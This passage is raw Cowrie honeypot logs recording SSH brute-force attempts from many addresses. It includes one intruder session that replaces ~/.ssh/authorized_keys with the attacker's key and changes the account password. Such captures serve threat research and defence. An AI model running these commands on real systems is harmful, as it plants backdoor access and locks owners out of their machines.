af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:11.695795Z","src_ip":"186.96.151.198","session":"9e3f61e282b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"debian123456789","message":"login attempt [ubuntu/debian123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:11.970856Z","src_ip":"186.96.151.198","session":"9e3f61e282b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:13.035445Z","src_ip":"186.96.151.198","session":"9e3f61e282b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.67.236.135","src_port":60520,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4fc78f1879f","protocol":"ssh","message":"New connection: 13.67.236.135:60520 (159.203.135.109:22) [session: e4fc78f1879f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:18.679005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:18.683075Z","src_ip":"13.67.236.135","session":"e4fc78f1879f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:18.725312Z","src_ip":"13.67.236.135","session":"e4fc78f1879f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd123!!","message":"login attempt [root/P@ssw0rd123!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:18.927852Z","src_ip":"13.67.236.135","session":"e4fc78f1879f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:19.973728Z","src_ip":"13.67.236.135","session":"e4fc78f1879f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.90.107","src_port":46592,"dst_ip":"10.17.0.5","dst_port":22,"session":"556c0f04a629","protocol":"ssh","message":"New connection: 43.157.90.107:46592 (10.17.0.5:22) [session: 556c0f04a629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:39.428305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:39.432305Z","src_ip":"43.157.90.107","session":"556c0f04a629","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:39.528280Z","src_ip":"43.157.90.107","session":"556c0f04a629","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwerty123","message":"login attempt [ubuntu/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:39.932831Z","src_ip":"43.157.90.107","session":"556c0f04a629","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:41.027414Z","src_ip":"43.157.90.107","session":"556c0f04a629","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00177526473999,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:50.433123Z","src_ip":"67.86.177.43","session":"012ca70548d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.55.224.44","src_port":55041,"dst_ip":"10.17.0.5","dst_port":22,"session":"3198475b29d4","protocol":"ssh","message":"New connection: 79.55.224.44:55041 (10.17.0.5:22) [session: 3198475b29d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:50.644619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:50.648676Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.86.177.43","src_port":56625,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f068948b634","protocol":"telnet","message":"New connection: 67.86.177.43:56625 (159.203.135.109:23) [session: 1f068948b634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:50.749901Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:50.768939Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@2024","message":"login attempt [admin/Admin@2024] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:51.279489Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:51.621812Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:51.624384Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:51.627128Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:51.750818Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:52.051251Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:52.054109Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:52.179335Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:52.183013Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.55.224.44","src_port":13040,"dst_ip":"10.17.0.5","dst_port":22,"session":"c605e97fdcdc","protocol":"ssh","message":"New connection: 79.55.224.44:13040 (10.17.0.5:22) [session: c605e97fdcdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:52.285279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:52.290283Z","src_ip":"79.55.224.44","session":"c605e97fdcdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:52.401346Z","src_ip":"79.55.224.44","session":"c605e97fdcdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.86.177.43","src_port":56673,"dst_ip":"159.203.135.109","dst_port":23,"session":"719b446ca020","protocol":"telnet","message":"New connection: 67.86.177.43:56673 (159.203.135.109:23) [session: 719b446ca020]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:52.629459Z"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:52.883441Z","src_ip":"79.55.224.44","session":"c605e97fdcdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:53.997430Z","src_ip":"79.55.224.44","session":"c605e97fdcdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.55.224.44","src_port":44283,"dst_ip":"10.17.0.5","dst_port":22,"session":"51d1e7e9208f","protocol":"ssh","message":"New connection: 79.55.224.44:44283 (10.17.0.5:22) [session: 51d1e7e9208f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:54.106298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:54.113502Z","src_ip":"79.55.224.44","session":"51d1e7e9208f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:54.226461Z","src_ip":"79.55.224.44","session":"51d1e7e9208f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:54.705504Z","src_ip":"79.55.224.44","session":"51d1e7e9208f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:55.821335Z","src_ip":"79.55.224.44","session":"51d1e7e9208f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:56.025315Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:56.029296Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:56.153757Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:56.436531Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"Admin@2024\\np4U6uPcUc1CP\\np4U6uPcUc1CP\"|passwd|bash","message":"CMD: echo -e \"Admin@2024\\np4U6uPcUc1CP\\np4U6uPcUc1CP\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:56.440394Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:56.444499Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:56.447946Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/174bb278f0cb86651f1893cba4d8244135c44c49d6f40637738a527409454ef2","size":32,"shasum":"174bb278f0cb86651f1893cba4d8244135c44c49d6f40637738a527409454ef2","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/174bb278f0cb86651f1893cba4d8244135c44c49d6f40637738a527409454ef2 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:56.573055Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:56.858237Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"Admin@2024\\np4U6uPcUc1CP\\np4U6uPcUc1CP\\n\"|passwd","message":"CMD: echo \"Admin@2024\\np4U6uPcUc1CP\\np4U6uPcUc1CP\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:56.860541Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/6fc4829d5b9ce7aa13476f534e52e8210d748b648390c79b01e18b71dd718377","size":25,"shasum":"6fc4829d5b9ce7aa13476f534e52e8210d748b648390c79b01e18b71dd718377","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/6fc4829d5b9ce7aa13476f534e52e8210d748b648390c79b01e18b71dd718377 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:56.983223Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:57.308127Z","src_ip":"79.55.224.44","session":"3198475b29d4","protocol":"ssh"}
